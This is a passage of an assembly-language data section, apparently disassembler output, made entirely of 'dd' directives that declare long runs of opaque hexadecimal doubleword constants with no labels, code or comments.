		dd 792CD30Ah, 0A32F0058h, 78F981Dh, 1F47E89h, 6DB1F17Ch
		dd 3CFC8E17h, 0EF3500CCh, 0E3B33DE1h, 2A149C3Eh, 0BDF4F98h
		dd 0C098680Bh, 3295CEC4h, 0F2F4012Ch, 0D2016ACFh, 2DCC50D0h
		dd 2AF71773h, 24083812h, 0B53F8EEFh, 0BC62C820h, 2000A879h
		dd 74312658h, 27B4AF50h, 948035F8h, 9FE0AE38h, 90919A60h
		dd 58D9D5F0h, 689842Ch,	0E47A2448h, 0DC44DA0Fh,	8C2060D9h
		dd 4CDD629Ch, 3F081C79h, 2F914F90h, 40449224h, 98C3323Bh
		dd 800013F4h, 12FFD922h, 3D283D5h, 471BDD4Dh, 0D028740Fh
		dd 36019C1Ch, 0F39789E1h, 0E8621E8Ch, 74227451h, 33EF4103h
		dd 0A92A3756h, 99008C1Fh, 9DF6AF91h, 842D66h, 0C9E16454h
		dd 841790Fh, 0F870330Ah, 0BE10ACE5h, 4190E6C8h,	881DFE1Ah
		dd 2D43F84Eh, 68009321h, 9A050EE9h, 3363A88h, 1028A324h
		dd 11F7C47Eh, 0E2208922h, 1D94B93Bh, 8747AC9Ah,	84D22D29h
		dd 7D34B5D1h, 7361348h,	2EA76420h, 6DF8A0h, 0A2DA9D4Ch
		dd 0B4C1CC7Fh, 0E4DE302Ah, 52C69606h, 4388C702h, 4FD22AAh
		dd 0B67BD36h, 0D3948156h, 7C7D03h, 0C0B75919h, 7F1DDD8h
		dd 4455D220h, 0A1C92099h, 6009FEBh, 8D6EC44Ch, 0CCB25Eh
		dd 5005C50Bh, 5AC60444h, 0D8360330h, 4BE20D7h, 0A7FE49AFh
		dd 3320C2B3h, 0B0082419h, 1CB14E88h, 42432B11h,	0ACC83AD9h
		dd 71773461h, 60C01940h, 3B05B2ECh, 0E31BB4AEh,	14A7C44h
		dd 0C43D20C3h, 2B9C9E40h, 340B1EB4h, 820AD07Ch,	9992909Ch
		dd 613E68Ch, 214F0900h,	7E2F6CCCh, 0B4CCA02Eh, 0A24284F1h
		dd 272BA850h, 0AC2191A9h, 29E01C3Ch, 5E2E74D4h,	18117804h
		dd 9848C748h, 0A04C2797h, 0E499F6F7h, 34B6F326h, 172ED607h
		dd 0DA540489h, 622E132h, 4698666Fh, 78B062A7h, 0E3000F8Ch
		dd 2960AC51h, 547D6828h, 3D781000h, 0D86DE2AFh,	58E5741Dh
		dd 0D905A8CBh, 88375A15h, 9988B64Ch, 0FE670076h, 0C39322F7h
		dd 95008F33h, 90FE5D2h,	9BE77BFh, 0EBA8906Bh, 32C65CA4h
		dd 5DB04C19h, 62003402h, 0CBDA9FDFh, 1B03C17Dh,	12CE790Ah
		dd 3C909056h, 5408B836h, 89CD249Eh, 10060138h, 0C840C805h
		dd 755D491Fh
		dd 0C02B1285h, 729C86C2h, 0D66814E8h, 9480C093h, 0EFF9DD8Bh
		dd 612E5600h, 801AA712h, 40BF0315h, 706F73Ah, 0D5AD5907h
		dd 35F0B85Bh, 227D44Ch,	0FCEFF2E2h, 50B8D267h, 221EE12Dh
		dd 0C428DB7Ah, 17792090h, 0FF2C2CB1h, 5ABE2C26h, 2813CC25h
		dd 6A62002h, 60B10053h,	820050C4h, 79103BD2h, 4CC538D7h
		dd 8A80247Bh, 660B1DC1h, 0EC20945Bh, 0BFE4937Bh, 1EC14B62h
		dd 11886270h, 0A92295F7h, 7AFEBD00h, 0A59849Ah,	0CDB00557h
		dd 44ECB85Dh, 22CE16E4h, 3BD920F9h, 90A407C3h, 0D3FAC0B5h
		dd 174FA97h, 698F287Ch,	6C2BB1BDh, 0BB670BF0h, 0D358844Eh
		dd 1EB09CF4h, 0C0594CCFh, 13E92D0Fh, 8B07F4C9h,	88E40350h
		dd 80EFD347h, 0B49D8536h, 2464A818h, 41D78198h,	9C2CFB4h
		dd 8213CBE0h, 29016CD1h, 0B290168Dh, 12D8FF8h, 0D25D372Bh
		dd 24090BADh, 0AA898CECh, 7FED3C31h, 104E1511h,	0B1A3E362h
		dd 0DB508E98h, 492AD304h, 40998018h, 723E37EEh,	0DA7B013Ch
		dd 828A521Dh, 77C02838h, 0DB42A8A6h, 4144971h, 0A40B079Ch
		dd 9163F079h, 902BFEh, 840934Fh, 0AFD904FFh, 0B0D5546Dh
		dd 6A0BCA7h, 0F90890A9h, 46720625h, 2A88A20Ch, 0AAE08860h
		dd 0B46D1Eh, 30C0AC92h,	0AB176005h, 0BA8E7103h,	0AC101B82h
		dd 6A0AF8E2h, 64A0A9D2h, 28375355h, 5363E907h, 731880E6h
		dd 85EE0066h, 44975DF3h, 14141EF1h, 11B83A12h, 311178F5h
		dd 91AF0052h, 0E3AE7C7Dh, 485CA8A2h, 0FC1097DAh, 55007205h
		dd 0D8CCE50h, 5C0E3CE0h, 0B7104CA0h, 95FD8494h,	540058A6h
		dd 32EE455Ch, 0A1008D66h, 0ED139751h, 2C1FC47Ah, 6008A465h
		dd 0E027EE8Ch, 223D3720h, 6E21BA64h, 5F7700AEh,	3AEF896Ch
		dd 0A1642900h, 5217D308h, 0F8FAE290h, 1BB50030h, 9C8AD0F1h
		dd 0C8FA94E9h, 139D111Fh, 0D947691Dh, 0D8722A97h, 8C146339h
		dd 10B8E34Ah, 448DC8B5h, 9F484026h, 0B25A772h, 7C8D0F44h
		dd 24D7F402h, 0CE363840h, 0A09A5B13h, 2898C701h, 3BC4212Dh
		dd 407868C2h, 0C9D102B0h, 0A082361Ah, 0C213938Bh, 35FF0296h
		dd 8903AC59h, 88BB16D9h, 527DF01h, 0BFEC243Ah, 0CE8C81DAh
		dd 6DB01111h, 0D8218035h, 0B460CC4Dh, 0E1B2004Bh, 4CFDF7Eh
		dd 7A586488h, 408D354h,	0CE460837h, 284BEE44h, 0F5DADCC8h
		dd 47651300h, 42EA97DFh, 202C9063h, 0FC8C8975h,	5E0F0FF8h
		dd 407826D7h, 0E50A733Bh, 5C6E0217h, 79BF43C7h,	0F4F18899h
		dd 54B4740Bh, 2578D440h, 42189C80h, 3C05F12Fh, 903B9C04h
		dd 0F0222022h, 0CC7C6A29h, 3E7134h, 0ADFD3301h,	0B690D23Ah
		dd 0BC810D88h, 6A1EE090h, 0EA00643Eh, 26E9FD6Fh, 5A3C6Bh
		dd 0B62D51E8h, 0E01D08A0h, 628588B9h, 78C2AA04h, 14B2195Ah
		dd 20B5F0C2h, 0F52DB95Dh, 3B0F4B07h, 0C4100250h, 726A7227h
		dd 65A109C7h, 54407ECFh, 40821B5Ch, 88542F5Ch, 0E20ABEB9h
		dd 0D01E91A6h, 4445DC44h, 76BA80D8h, 0C2274A6Eh, 0EC90460Bh
		dd 0BE3B0369h, 0ED57387Ch, 6DB3388h, 0CB0A1401h, 9D5882EAh
		dd 6443F075h, 6BAFC04Eh, 0C86E2C15h, 0C8969054h, 0D12892EDh
		dd 0EC24418Ch, 0A6009BD5h, 0B8377A68h, 486A8567h, 407E140Fh
		dd 7224DF98h, 8061407Ch, 0A202364Ah, 8415C519h,	62A8F23Dh
		dd 2810148h, 1CC433F0h,	9EDE3B00h, 0C6085C80h, 2E8E0F54h
		dd 32E11BEBh, 30C21ED4h, 4E138004h, 10018993h, 61C4E750h
		dd 70280435h, 6F2B7A80h, 3818BB9Eh, 40CA32ACh, 0D7E31C93h
		dd 0F86102AEh, 888FE0B3h, 0E104C410h, 22081CE2h, 0A0B48F0h
		dd 3480C80Bh, 0E94C01CEh, 30B33BBBh, 9D6428DEh,	74300256h
		dd 5479B4Fh, 510CFCEAh,	9BAEC94h, 239BDF2h, 10932B80h
		dd 0FF8095F9h, 44CB867h, 0AC1CC3Eh, 8940EC6Eh, 651499D4h
		dd 0E11416E5h, 2A13C6FCh, 9E8EB50h, 2B3D2D05h, 16213010h
		dd 5DC25000h, 0BAFE3059h, 5A3100E7h, 0ACEFD27Eh, 0D0A03BB5h
		dd 5E827DC9h, 0E5976068h, 837E5459h, 0DB691200h, 0DEE340CAh
		dd 9A4D00EDh, 6B2935E9h, 1C26B776h, 7901E8F8h, 0E2D77C15h
		dd 88340475h, 74458621h, 0F415840h, 21041425h, 8F09DDD8h
		dd 382FADF1h, 0F0F2A1C9h, 4AE1EB3Bh, 4D06820h, 7AF80081h
		dd 0FA4E49F2h, 0ECA6B267h, 5FE0BA20h, 10E43006h, 0EA267B81h
		dd 6C1248D8h, 4F440480h, 2C8F8871h, 61D602E9h, 22CAD83Ch
		dd 2D11A973h, 0D0784A10h, 123FE601h, 0DE4647DDh, 534E1C2h
		dd 0EC00A008h, 6ACB63CEh, 482BBE08h, 1CA5A465h,	955138h
		dd 849A0A9h, 785A8DE0h,	21AB2829h, 8A737768h, 8D40A074h
		dd 53C3CEh, 0E8725C26h,	0E4421B66h, 0C2437098h,	2C121E10h
		dd 0EB088037h, 0BEC88023h, 79103C4Bh, 384A4Dh, 1352A907h
		dd 0E6B9D30Ah, 4E980FE6h, 0AD890146h, 711084F9h, 5010ACC4h
		dd 908A21C8h, 7D0B84ADh, 83E03025h, 0E00542Ch, 5FFD246Dh
		dd 0A573542h, 87AD7DF0h, 71A3028Fh, 98C0B331h, 484BEA6Eh
		dd 431B7031h, 4ECEEFCh,	0E4FABD47h, 48C035A3h, 376686E3h
		dd 95E86D41h, 6EBC0438h, 10CE4B96h, 0F0D744h, 558E68D8h
		dd 0A6A12134h, 7C093675h, 0A43D290Ah, 58A282ACh, 83750682h
		dd 1626E046h, 7FE0B8E1h, 0FBCAAh, 0E9F1BF2Ah, 3E74248h
		dd 0A0C6722Ch, 47960108h, 142CDAD2h, 1AB0FC0Ah,	6C00DCF7h
		dd 9A0B2C9Fh, 48BF9460h, 0C510A4A8h, 342B007Bh,	3BDAED77h
		dd 0E63A12C8h, 24FCB382h, 0F110D0DFh, 0D38C46C8h, 0E6910h
		dd 0F116B5D1h, 15EF8140h, 0C8429907h, 0F29EF2AAh, 0B1D0E8DCh
		dd 6D8538A4h, 0C82CC4ECh, 5F1DA748h, 0F807B5Ch,	389CAB2Dh
		dd 4AB470C0h, 7494C8A3h, 0B695D001h, 5F62FA6Bh,	944AE2DCh
		dd 0C5FF16E8h, 28F08C64h, 0BA06F70Eh, 0E641004Bh, 1DAA0525h
		dd 33C88h, 2A599862h, 7C1E61DDh, 0B34C7BEBh, 86E9F8D8h
		dd 0F4010AF7h, 0E6248EC2h, 4AA1202Ch, 69324102h, 60B3EEBBh
		dd 0BED44810h, 8B64C19Ch, 0B460C671h, 0CE1FF673h, 6BD6071Ch
		dd 90A374E4h, 415496B0h, 2F2D16E9h, 0BF70F441h,	6C288B7Bh
		dd 5896E521h, 7D5CE7h, 0E816870Dh, 0B01FA5D8h, 0A6D0F51Eh
		dd 65A01A84h, 948D0483h, 41801CADh, 2BDB45D7h, 8A5C531Dh
		dd 51000B57h, 315FF5E7h, 683F1364h, 32541215h, 5460A9C0h
		dd 2C497891h, 90862180h, 0E56E8BE5h, 0AAAB030Ch, 8FB9D07Fh
		dd 4C9470CCh, 0FBE4B741h, 89A8B1DCh, 68D10356h,	26CC750Fh
		dd 4370B72Bh, 94C42792h, 0CF3600F8h, 0A8A6AA2Ch, 0D34A2963h
		dd 6FD2FCD0h, 5B503FE5h, 822E7692h, 0F12EA780h,	3F704A03h
		dd 0EF99B315h, 9ABECC0h, 0A6906378h, 3D0077F2h,	0CE583314h
		dd 3AAED84Bh, 0BD300DE1h, 0A74FE510h, 840A103Eh, 8A59123Dh
		dd 32A934A0h, 28B11BAAh, 0C2002C52h, 780D0886h,	943D05h
		dd 0C5A755F2h, 0C7C106E8h, 82519201h, 0F7171D23h, 0CF8BD82Ch
		dd 0F3C05030h, 77F74180h, 26D70163h, 0D9B06831h, 96D9892Fh
		dd 7D4F207h, 0E783180Bh, 0F4C95064h, 0EF5B98A3h, 0E02BBA8h
		dd 4003DEA0h, 326AF0A4h, 89B0F11Eh, 0C0A4EF06h,	7FFA400Eh
		dd 2AE01A0Bh, 4C446401h, 0C09F7C2Bh, 97210A3Dh,	0B703EA5Dh
		dd 0E994E46Fh, 5482D55Fh, 142019CAh, 611EA8A2h,	67E6006Dh
		dd 21FC1728h, 5CBA2F7Fh, 62CE9444h, 2D7FF152h, 0B14307D5h
		dd 0D0033DC5h, 0CF6FA5D2h, 0C604180h, 0FB2D13C7h, 0D948E0EDh
		dd 661B0607h, 644088F3h, 275D2BB0h, 2C16CDD2h, 326B1845h
		dd 6C433128h, 0D90015EAh
		dd 307C33F5h, 4980FE36h, 0EF045A9Eh, 7A672A12h,	279AC8Ch
		dd 2334623Ch, 90F87E17h, 152EF481h, 0E615DC30h,	7B86FA5Ah
		dd 4ABB0006h, 3EF14767h, 0D6FC58B8h, 82BD7F25h,	7C8B2C44h
		dd 2F0DC04Ch, 8A00FC19h, 9A8F1D42h, 24BD128Eh, 69C0E31Bh
		dd 1107F091h, 4181F128h, 0E4EC6062h, 3B4D309Ah,	19E7B0C9h
		dd 0F011334Ch, 0C848782Ch, 8DCA6D5h, 0C4B82052h, 5D9201EBh
		dd 0B0572E41h, 0A2BDF8ECh, 0C6CCF26h, 8DE0C15Ah, 1614223Fh
		dd 0E0149B12h, 31FFE77h, 19F04431h, 929441BDh, 0B3192268h
		dd 8004E814h, 0DB2C0B70h, 0C6D600FFh, 763BAF40h, 5B253F1Ch
		dd 0ABC00153h, 0FE094F93h, 0E698A922h, 7C704388h, 9D920B84h
		dd 0D4442D0Ch, 0E279E964h, 0BC04E481h, 0C4DEF510h, 0A79DF100h
		dd 0CF095768h, 3926FA4Bh, 50F04EC9h, 120BA936h,	44AAFACCh
		dd 22098954h, 736231Dh,	0D47681DEh, 11031200h, 509E78E7h
		dd 0DADE07A7h, 313630AEh, 28DB6DDCh, 0CE3B0888h, 44C6446Ah
		dd 7C8930F0h, 12891891h, 0C8F222E3h, 11FD8078h,	0EF104682h
		dd 0B86BBB70h, 0A2171208h, 877444EEh, 3AFF478Ch, 972077F7h
		dd 4FE3F3AAh, 2D382838h, 613183E7h, 0F1C8AF92h,	2AE1B33Eh
		dd 0A87C58F9h, 8B94EB10h, 84887931h, 0A2F5015Ah, 1DD5033Ch
		dd 8012087Bh, 1E78FCE6h, 7AAE866h, 20542FCEh, 0B349740Ch
		dd 40D4EEE1h, 3ECA1701h, 0C3609447h, 4134949Fh,	7293D5F0h
		dd 6BEC09D4h, 0A540804Bh, 185A9FEh, 0D4C71013h,	60AF9CC5h
		dd 4286E1F0h, 14935A69h, 0B8BFFB46h, 0D92E6Fh, 67C1197Ch
		dd 48F9F64Eh, 0C522CF0Bh, 2C6408h, 27C30172h, 1CAEBA9Ah
		dd 8584F00h, 0DB026240h, 0CF790857h, 0E108037Ah, 52B0189h
		dd 7D1AB32Ah, 0CE36C0D0h, 4D09529h, 0C260D76Bh,	2978B8BBh
		dd 0CC97B0C3h, 333D9CB7h, 0F950E981h, 30B6D808h, 0EC44F848h
		dd 1B9788D9h, 0F0FBDB00h, 171E8A08h, 368501DAh,	0E7D03024h
		dd 7C7CE20Bh, 993CA690h, 3629E500h, 0BE67C77Dh,	1AAB9EC0h
		dd 95E91D1Eh, 31026004h, 912121Fh, 34141D20h, 20471F58h
		dd 0A7F34027h, 0A2375AB4h, 80D22E0Dh, 7C23A8CEh, 81442400h
		dd 3548F615h, 391C802Dh, 0FE019E24h, 44C2091Ah,	54934294h
		dd 0F04E6CF4h, 929B2848h, 3D742CAAh, 2110E148h,	285691B1h
		dd 6520E0C7h, 2BCCA1B2h, 93D0A815h, 97509701h, 0CB5C7Ah
		dd 0C1213B60h, 0C35BC7EEh, 0A110E90Ah, 0A203B597h, 0B8E8ED27h
		dd 30A7C4F7h, 0CE28CA61h, 0A80A1311h, 64951043h, 960BA81h
		dd 0AC387C67h, 0FC5A8D89h, 76239D00h, 63BDC35h,	0D8AFFB6Dh
		dd 0A45C0064h, 26B0059h, 67ED80BFh, 0CC244CE3h,	0D989EB88h
		dd 0F7A49093h, 0CAEA13B5h, 0B29C16CCh, 88AEC314h, 685DF865h
		dd 6A30CE8h, 0B0788FA9h, 2670014Ch, 148494D9h, 215F0EBDh
		dd 8034CE09h, 6DFBC00Dh, 20849A9Eh, 9B4DCF1Bh, 88E29724h
		dd 7EBC4C00h, 3626589h,	0E672A100h, 51AA3B9Eh, 0EF610EA9h
		dd 821DB071h, 0A13C46A0h, 176F84C0h, 23D7816h, 4EC48CB0h
		dd 0F814C7CFh, 27C11F9Eh, 4825833Ch, 80987CF2h,	0EE3EB280h
		dd 0D11ED546h, 0C0CC28B4h, 2075D8C7h, 6721090Ah, 0FC442F89h
		dd 3CA73F07h, 4DA02004h, 5ED9F446h, 40F8882Ch, 51482964h
		dd 10816621h, 8810D5A9h, 0A04C6DD9h, 0A4933E84h, 0A6043C0Bh
		dd 2D4B14CEh, 77949CD1h, 2490781Ch, 2A3CAF0Ah, 8A11A8A3h
		dd 203B5B78h, 296373FCh, 0F1F8B102h, 41136115h,	6181B0A8h
		dd 0E5A00AAFh, 84184307h, 0C22C7290h, 2AF40956h, 885F6481h
		dd 0A28BC070h, 49420060h, 8872C39Ch, 93007004h,	6AD2F3E0h
		dd 0F7C83Ah, 0A68FAAFCh, 0DF12172Eh, 2614D01Ah,	3C71B8h
		dd 5BB22338h, 6B2E5764h, 120834B9h, 40CE44CFh, 557C49D9h
		dd 0AA02099Fh, 0DCD22CAEh, 46ADF00h, 0C5CDBDEBh, 491E645h
		dd 876EC957h, 606C80C3h, 0E00BD8A7h, 9029C536h,	0EEE2658h
		dd 84D7AB1Bh, 3EC248CFh, 5C642CC1h, 0C6A4F21Dh,	0AAC20BC0h
		dd 20D3295Ch, 0AF4E5D34h, 0C825C821h, 0E8A759FCh, 54F001C3h
		dd 0D661CF8Bh, 0A26C3038h, 8C2A1742h, 873B0CE8h, 0A9991965h
		dd 0E103AA1Ah, 9CF9E9h,	0BC700881h, 7100C891h, 7458B679h
		dd 16FAED83h, 3057263Eh, 8B476CC4h, 0A2353Eh, 77C78034h
		dd 0CE6A36h, 0A7E28362h, 0B4B11D45h, 0C1B9314h,	0C43B29E4h
		dd 0C0E07280h, 27987313h, 0FC44D2F4h, 53A44100h, 0AEA29E92h
		dd 5D810095h, 7D666DCCh, 830794B9h, 2BDABCA3h, 5AD0789Bh
		dd 283C881Bh, 13F42097h, 443545h, 31381A7Dh, 6EC3B932h
		dd 0FEB7F802h, 4226F791h, 0CE8090DBh, 0E0870382h, 0D72B4561h
		dd 939AA1F0h, 0EB7D8500h, 921BB68Eh, 11EFA38h, 3C9089F0h
		dd 73F18610h, 287D0058h, 50A8A67Fh, 69AD0429h, 0CD606609h
		dd 123036BCh, 0CC04372Dh, 5220DDDh, 94388429h, 112B4C54h
		dd 1D710070h, 0D63B248h, 0E90CB400h, 0F478F641h, 0B727B83h
		dd 0E1D65BB8h, 9100BCD0h, 0D755F2D4h, 37DEF7h, 0CE3480EAh
		dd 23966440h, 0CC8BB302h, 0D60A0B1Ah, 0D0D392F8h, 8A808D0Ch
		dd 1C146802h, 57FA0773h, 87100401h, 242FEEh, 8E13181Fh
		dd 30E31820h, 0E83F26A2h, 0A57188E4h, 270C1849h, 0F3120F18h
		dd 0A0C16FCBh, 0E0712682h, 5C0460B2h, 0E660806h, 1C7BC749h
		dd 0FAACC801h, 4B6BB26Dh, 3FD062E8h, 2D20F200h,	0A3E3689Bh
		dd 0BFA5Bh, 0C6BD1088h,	22819443h, 1D13353Fh, 0BA0034FBh
		dd 8AEFB0B5h, 0E1450284h, 0D1D6668h, 20328DE1h,	0D6B8FE51h
		dd 0C493B28h, 36D03A1Eh, 31303B9h, 0BB6070F0h, 0BB1001E4h
		dd 3B269B35h, 236180FFh, 0F48F5C79h, 7D110CECh,	2418667Ch
		dd 83924618h, 9A5A91h, 96BF3DB1h, 0D95BBB9Bh, 3423370Ch
		dd 7DBA58DAh, 0F39803C4h, 88CDE31Eh, 0FE6A3001h, 0FD269374h
		dd 6D7101C7h, 75A3B84Dh, 16CDE02Bh, 1E514F44h, 0C04A21C4h
		dd 5A8F0FB7h, 42FCB48Bh, 2D4721DEh, 34D14946h, 78804F2Fh
		dd 6CDCDA0Ch, 560E9F69h, 0A37AB570h, 3F9E20Ah, 233D2471h
		dd 117AEFFFh, 47194D60h, 0FD1776h, 9C482F05h, 2B07AD39h
		dd 0F1784E61h, 3501FBCAh, 370EC026h, 804741C8h,	0EC28418Ch
		dd 0DC7833E0h, 5300DF90h, 2FACF02Eh, 0C88342CEh, 4E8043C0h
		dd 4C412D37h, 527373h, 0A8DD77Ah, 0D2137B1Ch, 0CD000B7Eh
		dd 0FA373F40h, 0C22ED0F4h, 9FA32781h, 0C7C0B4AEh, 0E78C6D7Ch
		dd 175A110Ch, 3BDC614Ah, 0B60082DBh, 0D35FB456h, 7E527D62h
		dd 20941884h, 6A924560h, 113458F5h, 0D10078FAh,	8B7AB31Eh
		dd 286B01F1h, 30A42E3Fh, 0A7892F2Bh, 563E1562h,	901603EFh
		dd 0E0104A5Eh, 39CB46BCh, 0EAF7D123h, 9670084h,	72CE11EFh
		dd 320C26D7h, 801B4E52h, 37B7153Bh, 2302B4E3h, 0F9C794CBh
		dd 81A74043h, 25755093h, 7B1C43Ch, 94FA6D0Fh, 148CA3C9h
		dd 48CEB245h, 24A95A90h, 409C500Fh, 0B6965119h,	0E279EE00h
		dd 7C36C902h, 0C0FCEA26h, 9291C1E9h, 646AE30Fh,	9F0C7480h
		dd 0FCE51E6h, 0C598B09Bh, 0E4AAFEE0h, 810F849Eh, 80062226h
		dd 3E40A4D4h, 0C51A003Ah, 835E9C93h, 7300C7ABh,	2770BD2Ch
		dd 0C0AA50EAh, 0A9080F91h, 9E008637h, 0FAB8A7AEh, 3B2541Ah
		dd 22F047BDh, 980088C6h, 3BFF8073h, 9170F8h, 0BB820489h
		dd 0FB817A5Fh, 942B6B05h, 7407A84Bh, 602FE08Ch,	388D6FBBh
		dd 1C9090BEh, 8628DDh, 63B19BCAh, 0F407A442h, 0FDF572F6h
		dd 0A8CB5B73h, 0FFA994Eh
		dd 3B9F9891h, 0FF887980h, 6300B92Ch, 1EF86724h,	0B36697h
		dd 0B719A954h, 59A09ECBh, 71CB649h, 0BBC1045Fh,	1103EF9Ah
		dd 989EA8B2h, 9248176Ch, 0A082B028h, 1C20850h, 0D7950C40h
		dd 20E7AB35h, 0C8A8B568h, 1500F3C4h, 0B359D82Ch, 492E9F5Ah
		dd 3A1D382Ah, 9EB2C3FFh, 0EB88C934h, 913EC09Bh,	48204B8h
		dd 5087DD4Ah, 0FE58018h, 0BB4E6E8Bh, 6F33C905h,	48037F7Dh
		dd 7CB49346h, 817B6FC1h, 0F0069589h, 9A1411F8h,	189827F7h
		dd 265911CBh, 209139h, 907CC59Bh, 9898E525h, 131A222h
		dd 2E3AB839h, 8901B1DCh, 98E9166Eh, 9B09A70h, 2AC1C9F2h
		dd 0FDCFF002h, 0A0825022h, 151821ECh, 8EDB0228h, 0EFA37F63h
		dd 0C9F1FC48h, 0B33180FBh, 44CF715Bh, 4E5C00B4h, 0A716D314h
		dd 240CCD19h, 51A5AB45h, 5C0F4DA3h, 9BC8207h, 0CD25702Ah
		dd 0D600A505h, 79FE7CF0h, 0F4D104C8h, 742F10A9h, 0B2F11433h
		dd 7DB382ACh, 0D9246671h, 1018C0D8h, 90628144h,	0FC9122CCh
		dd 3FF89A04h, 50C816FBh, 76B1ECF4h, 22DB000Dh, 5BD648AEh
		dd 95889717h, 78FA0098h, 9F58CB34h, 77118396h, 0B91E4417h
		dd 0E007C03Eh, 76B6F0DCh, 803FFC3Dh, 0A595BE92h, 65E291h
		dd 43F77C94h, 3BE693E4h, 13843D00h, 6EB1DD44h, 74610051h
		dd 95190373h, 0B824F018h, 0C7403829h, 1BF320h, 6E87314Dh
		dd 41174782h, 302CE9C6h, 0D7230029h, 0D9265765h, 9CA03DB0h
		dd 8C09C6C5h, 243527B4h, 9540693Ch, 0C79F6381h,	0C674844Ch
		dd 214C16h, 0A6310FC2h,	8F42C04Ah, 5E3D2B14h, 0C0502CA4h
		dd 0E8D94140h, 0E27501B3h, 0A9491527h, 3B0022C5h, 4D29E050h
		dd 460B7Fh, 0EE52A86Fh,	7E64871Fh, 6C2B7200h, 0E8FAF2C9h
		dd 9474B1B0h, 1780D013h, 1D2575C3h, 5A31D801h, 7ECE2991h
		dd 0E7C40321h, 0CB100693h, 11BDFCCDh, 0C5EB1802h, 0C00FE139h
		dd 6F5F96h, 0B7B33F7Fh,	0BF98B151h, 4860EA00h, 650F7DA4h
		dd 45CE3EA6h, 0D2CBC700h, 5D73EE6h, 0C0A3AD00h,	0EDF4952Ah
		dd 8AF80084h, 3FD4267Fh, 100A5535h, 80E7EBCh, 0EF9C9806h
		dd 80809929h, 53F7E59Bh, 4400EA04h, 0C92F9CB5h,	48269457h
		dd 9A82E003h, 3C406DC7h, 98921C1Fh, 41BB943Ah, 41975834h
		dd 0FE5C6033h, 942788h,	0C1473BB1h, 21255B24h, 6C3A232Eh
		dd 44C7F142h, 651B1388h, 90E8007Fh, 72F04AC1h, 0DDF9CF0Eh
		dd 808A0969h, 173EC689h, 1674B937h, 5B840427h, 0A8D203F7h
		dd 0FEB093CDh, 0F6F52288h, 5643C403h, 0E8F799C5h, 30AE9F51h
		dd 0B0E05C08h, 3909D88Eh, 428FC7D0h, 26286100h,	6444FFF9h
		dd 9F988Ch, 94C8C643h, 0ACC7FE09h, 0E678BF17h, 0A0642C00h
		dd 30DF6808h, 80312D29h, 0D5025683h, 44A12E82h,	3848267h
		dd 0C0C44Dh, 0A93F00Bh,	0D4846E57h, 0D63CE16h, 6290F81Fh
		dd 2C29C40Dh, 0A2C8E051h, 0AC5C0A0Eh, 0CF152077h, 78B8F5A1h
		dd 82E4864h, 7BB9F730h,	0AE881426h, 8AD80086h, 39D0B6B0h
		dd 1F1603E5h, 502058B3h, 9250173Bh, 37CE030Ch, 0E7C9C696h
		dd 0FEABF3A3h, 0A850492Ch, 0BC434940h, 75E84Eh,	76910E5Eh
		dd 2A8E04AEh, 0F5216500h, 2B94C947h, 0C6CB806h,	99A693C7h
		dd 1F1FCC48h, 29982696h, 0E091D859h, 501D078Fh,	5072B4DBh
		dd 0FFA1126Eh, 7C1223ECh, 2840F9DCh, 3A992745h,	0B5020F21h
		dd 93834ECDh, 20EF5EC7h, 0B09D9ED1h, 0B1CAF700h, 82629617h
		dd 0C6863C88h, 0CDFA5509h, 9C6FBF00h, 81C72429h, 0F810C277h
		dd 8CBC4Fh, 5227C11Eh, 0B19A54DAh, 0BAD2F617h, 5B203207h
		dd 7EAA84D0h, 0A45FFADEh, 1FD301A0h, 0EF9FAC69h, 70E470EEh
		dd 0BAC4F713h, 0A0023813h, 2918107Eh, 0E3E8541Bh, 73005D3Eh
		dd 160CD171h, 12AA9320h, 435E5737h, 0A43DB100h,	54E147C0h
		dd 79057F01h, 94679EEDh, 442CFCE9h, 845D7410h, 0A344AB9Fh
		dd 40890F1h, 0A500AED4h, 0BC9E9D0Ah, 1A07452Bh,	394916EEh
		dd 0D3373080h, 2F09AD10h, 843B6B93h, 8882F1D9h,	1B5C5A9Bh
		dd 0F9B79143h, 0C903Bh,	0B8AD6F40h, 4A2B7B01h, 28840823h
		dd 0E7527680h, 0C2956Eh, 0E1DF6750h, 423CF1EFh,	1F28EB02h
		dd 6936AB37h, 0F2104FB0h, 4D033F58h, 3337B0C0h,	0EC204C32h
		dd 2268877h, 0C0A6C894h, 50246420h, 7D8BE004h, 461C1070h
		dd 0B9B86BAEh, 0E2E49C0Eh, 204D454h, 809843E8h,	0C10BE05Ah
		dd 98012699h, 0E58164h,	0F982E810h, 0FF92EDACh,	9EC6B601h
		dd 58B88604h, 7C2DA3F1h, 57025E00h, 55E78D61h, 47CEF807h
		dd 1F47D060h, 94A36AF0h, 6264003Eh, 0E548E0ADh,	3C00363Bh
		dd 7EF42E7Fh, 751E8FE8h, 18261CE4h, 9F59DCEh, 3099C1CAh
		dd 0F9DFD098h, 1E428F00h, 0CA654711h, 7D1620F8h, 0C1C5B002h
		dd 0E16D1B49h, 0C81524D0h, 0BD38EEB8h, 261B80C5h, 9686AFABh
		dd 1907EA7Dh, 0A0A61CACh, 34A05033h, 9C256C43h,	6D209096h
		dd 0D77B0028h, 3CB9F476h, 9325EE4Ah, 0A51C204Bh, 0E4DFACh
		dd 0B896F806h, 90CF775Bh, 4D4A44Ch, 2B1B05B3h, 9F0060A2h
		dd 0D915398Bh, 5A3CB232h, 94318406h, 0AC81D027h, 0B0500DA3h
		dd 9D80E6Eh, 0FC64254Ah, 0ED3C1A00h, 991DC904h,	0CFD2CB9Ch
		dd 61C036h, 22183AB3h, 38E31B67h, 965B140Fh, 0E1098176h
		dd 0A42D4B81h, 216BAF03h, 95E0F738h, 189073B6h,	509C51F9h
		dd 0BC2980A6h, 884C1FF3h, 97420071h, 0B1D1A8Ch,	0DF004F18h
		dd 57A3B2F5h, 647C7DA8h, 882C895Fh, 0ED4CD68Ch,	0C6660F65h
		dd 26FE80C1h, 0A0649239h, 27D00BBFh, 4C90D6A5h,	0FC4C2027h
		dd 0BD017984h, 8ACDB8EEh, 0B820F3F7h, 2427F638h, 88947AAFh
		dd 448918C6h, 2ECC3103h, 48F54210h, 0FE5FC601h,	0B86CCF76h
		dd 81B39843h, 74349311h, 0D9B03A9Fh, 0B28B1F9h,	3410F998h
		dd 0FF1F5879h, 81042B6Eh, 8CF4FDBFh, 0A94F8443h, 7B1D428h
		dd 1EF885C3h, 8807C521h, 452E2778h, 936330AEh, 0CCB12C1Ch
		dd 90151248h, 0FABCD370h, 0D5A56000h, 0C47F76DCh, 58E7088h
		dd 33B9C5CBh, 21408981h, 2C480290h, 5100A8C4h, 30680B09h
